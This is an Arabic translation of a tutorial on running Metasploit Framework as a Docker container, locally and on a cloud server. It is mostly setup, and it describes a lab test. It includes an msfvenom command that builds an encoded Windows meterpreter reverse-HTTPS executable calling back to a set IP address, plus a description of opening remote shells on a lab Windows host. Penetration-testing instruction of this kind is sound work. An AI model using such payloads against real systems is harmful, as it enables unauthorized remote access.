مقال : تشغيل Metasploit Framework ك Docker container دون متاعب تثبيت الاعتماديات
Metasploit Framework هي أداة قوية مفتوحة المصدر لاختبار الاختراق. سواء كنت تريد استخدامها للعمل أو تود فقط في تجريبتها، يمكنك تشغيل Metasploit Framework في Docker container دون الحاجة للتعامل مع متاعب تثبيت الكود وتبعياته . صورة remnux / metasploit” Docker” تتوفر كجزء من مجموعة REMnux، وذلك بفضل جهود Jean Christophe Baptiste في الترتيب .
الإرشادات والأمثلة التالية توضح كيف يمكنك البدء باستخدام Metasploit Docker container هذه في المختبر وكذلك في خادم يمكن الوصول إليه بشكل عام. توفر ال Containers سطر الأوامر نسخة Metasploit Framework من الأداة. إلا أنها تفتقر إلى واجهة على شبكة الإنترنت والتي يمكنك الحصول عليها إذا قمت بتثبيت نسخة Free Community ، والتي قد تحتاج إلى تسجيلها لدى Rapid 7 . ان امكانيات سطر الأوامر من Metasploit Framework فعالة جدا وتصلح مهام اختبار اختراق تنطوي على تشغيل الأداة على نظام بعيد.
كيفية تشغيلMetasploit Framework Docker container :
للاستفادة من صورة Metasploit Framework Docker container ، كل ما تحتاجه هو نظام قوي بما فيه الكفاية، ومتصلا بشبكة الإنترنت و يحتوي على Docker مثبتا عليه. عند تشغيلك لأمر مثل الذي أدناه على مثل هذا المضيف، فإنه سيتم تلقائيا تحميل صورة من مستودع remnux وتشغيلها:
sudo docker run –rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
في هذا المثال، قمنا بتوجيه Docker لتشغيل تطبيق “remnux / metasploit” في transient container ، والذي سوف يختفي فور الخروج منه (وهذا ما صمم “-rm” لأجله ) إن الخيار it يسمح لك بالتفاعل مع ال Container باستخدام interactive shell. للتأكد من أن البيانات ذات الصلة انتشرت في جميع أنحاء Container invocation ، وقد استخدمنا -v لتحديد الإتجاهات المضيف إلى المواقع المقابلة داخل الContainer . الفكرة هي استخدام دليل “msf4./~” لملفات تكوين metasploit Framework . إن مسار “/tmp/msf” على المضيف يمكنه تخزين البيانات الأخرى التي قد ترغب في إلاحتفاظ بها ، مثل ال Artifacts التي قد تحصل عليها من النظام المستهدف. إن محددات “-p” او المنافذ التي تتوقع الحصول على الاتصالات الواردة للمنافذ المقابلة داخل ال Container . المثال أعلاه استخدمنا منفذ TCP 443 مع توقع اتصالات HTTPS الواردة من reverse shells .
الصورة كبيرة جدا : أكثر من حجم 1.2GB ، لأنها تتضمن بيئة التشغيل كاملة ل Metasploit Framework ، مع جميع توابعها. وستخزن مؤقتاً محلياً بعد التحميل الأولي. إذا كنت ترغب في إعادة تحميل الصورة لضمان انك تستخدم أحدث إصدار استخدام أمر “sudo docker pull remnux/metasploit”.
تم تهيئة ال Container لتحديث وحدات metasploit بشكل تلقائي عند تشغيلها. لإضافة وحدات خاصة بك ، اضفها إلى دليل المضيف الخاص بك msf4./~
اختبار تشغيل ال Metasploit Framework Container
وهنا كيف يمكنك بدء التجارب مع Metasploit Framework بعد تشغيل “remnux / metasploit” container في المختبر الخاص بك. سوف نتستهدف نظام Windows ذي تكوين ضعيف في مختبرنا على سبيل المثال. سنتوجه Metasploit Framework للاتصال عن بعد بالنظام باستخدام بيانات الاعتماد التي زودناه بها، بدلا من استغلال الضعف فعلاً . بعد ذلك سنفتح reverse HTTPS shell الى وحدة تحكم Metasploit Framework الخاصة بنا.
في الشكل أعلاه، قمنا بتشغيل اداة metasploit msfconsole ، ثم وجهناها لتعطينا meterpreter shell فعالة للنظام المستهدف . وقد جرى الاتصال عبر HTTPS ، التي كانت موجهة إلى metasploit Framework Container عبر برنامج التعاون TCP 443. ان لقطة الشاشة التي حفظناها باستخدام هذه الجلسة وضعت في دليل بيانات / tmp / داخل Container . عندما خرجنا من ال Container ، فإن محتويات ذاك الدليل بقيت على المضيف الأساسي الخاص بنا في مسار tmp/msf/
تشغيل Metasploit Framework Container في ال public cloud :
عند إجراء اختبار الاختراق، سترغب حتماً في تشغيل Metasploit على نظام متصل بشبكة الإنترنت. يمكنك القيام بذلك بسهولة تامة من خلال إنشاء خادم مؤقت مع بعض مزودي public cloud ، ثم تشغيل Metasploit Framework Container على ذاك المضيف.
على سبيل المثال، هنا كيف يمكن تحقيق ذلك باستخدام DigitalOcean، الذي نود أن نستخدمه بسبب انخفاض التكلفة والموثوقية العالية. على الرغم من ان DigitalOcean يدير الأجهزة الظاهرية ب 5 $ شهريا فقط ، وجدنا ان هذا النظام ينتهي به الحال بذاكرة RAM غير كافية لMetasploit. لذلك، قمنا بوضع خيار ال 10 $ شهرياً لمضيف Ubuntu.
سرعان ما يتم تنشيط النظام الجديد، يمكنك تسجيل الدخول إليه وتنفيذ الأوامر التالية لتثبيت Docker container على المضيف:
apt-key adv –keyserver hkp://p80.pool.sks-keyservers.net:80 –recv-keys 58118E89F3A912897C070ADBF76221572C52609D
add-apt-repository -y “deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main”
apt-get update
apt-get -y dist-upgrade
apt-get -y install docker-engine
بعد ذلك، يمكنك توجيه؛ Docker container لتحميل وإطلاق Metasploit Framework Container باستخدام الأمر مثل الموجود في بداية هذه المقالة.
sudo docker run –rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
على سبيل المثال، قررنا استخدام Metasploit لإنشاء ملف قابل للتنفيذ و مستتر و مستقل، والذي نود تشغيله على نظام ويندوز المستهدف لمحاكاة سيناريو حيث يتم خداع الضحية بتشغيل البرامج الخبيثة. قمنا بتشغيل أداة “msfvenom” داخل Metasploit Framework Container لتحقيق ذلك:
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe
بما ان الدليل الحالي داخل ال Container هو بيانات /Tmp / بشكل افتراضي، فقد تم وضع الملف الناتج هناك. لأننا عيينا هذا الدليل إلى دليل /tmp/msf directory, المضيف، كنا قادرين على اخذه من هناك ونقله إلى مختبر اجهزة Windows الخاصة بنا .
ثم شغلنا “msfconsole” داخل ال Container ووجهنا الأداة لاستخدام معالجات / متعددة ، والذي تم تصميمه لقبول الاتصالات الناشئة خارج واجهة “msfconsole”. حالما تم تفعيلreverse-HTTPS listener قمنا ب “بإصابة ” نظام Windows الخاص بنا مع file.exe التي تم إنشاؤها سابقا، والذي أتم الاتصال، وزودنا ب Meterpreter shell .
وكما كان الحال في المثال السابق، فقد قمنا بحفظ لقطة الشاشة من نظام ويندوز إلى بيانات / tmp / ، والتي تسمح لي الاحتفاظ بها حتى بعد إنهاء ال Container .
قدرات إضافيه لل Containers
ويشمل Metasploit Framework Container أيضا أداة المسح الضوئي Nmap ، والتي يمكن تشغيلها باستخدام أمر “NMAP”. فإنها توفر وسيلة قوية لفحص الشبكات وألانظمة لتحديد اين يحتمل وجود ضعف ولتحديد مكان تركيز جهود Metasploit الخاص بك. ويشمل ال Container أيضا NASMdisassembler.
وبالإضافة إلى ذلك يتضمن ال Container أداة tmuxterminal multiplexer . والتي تسمح لك بإطلاق عدة نوافذ “افتراضية” داخل single terminal window. تكوين ال Container لهذه الأداة CTRL + A كمفتاح الأوامر، بدلا من الافتراضي السيطرة CTRL +B. للاستفادة منه، اكتب “tmux” بعد تشغيل Metasploit Framework Container . وسوف يعطيك shell داخل أحدى نوافذ الأداة “الإفتراضية”. لفتح واحد آخر، اضغط Ctrl +a يليه “c”. للتبديل بين النوافذ اكتب CTRL +a يليه رقم تلك النافذة (مثل Ctrl + وتليها “0” أو “1”).
على سبيل المثال، يمكنك استخدام tmux لتشغيل Nmap في نافذة واحدة وmsfconsole في نافذة آخرى. يمكنك قراءة البرنامج التعليمي حول كيفية استخدام tmux للبدء مع هذه الأداة
في الختام :
Docker containers توفر وسيلة مريحة لتشغيل Metasploit Framework دون الحاجة للتعامل مع تثبيت رمز الأداة وتبعياتها. تشغيل Metasploit بهذه الطريقة مفيد خاصة في الحالات التي ترغب في نشرها بسرعة إلى النظام الجديد، مثل التي يتم تشغيلها في public cloud ، ومن ثم انهاء السيرفر دون أن تفقد التخصيصات أو البيانات الخاصة بك. من ناحية أخرى، فإن هذا النهج يتطلب بعض الألفة مع Docker container .
يرجع الفضل ل Jean Christophe Baptiste لإنشاء والحفاظ على ال Dockerfile وملفات التكوين المقترنة التي تستند إليها صورة “remnux / metasploit”.
ترجمة لمقال : Run Metasploit Framework as a Docker Container Without Installation Pains لصاحبها Lenny Zeltser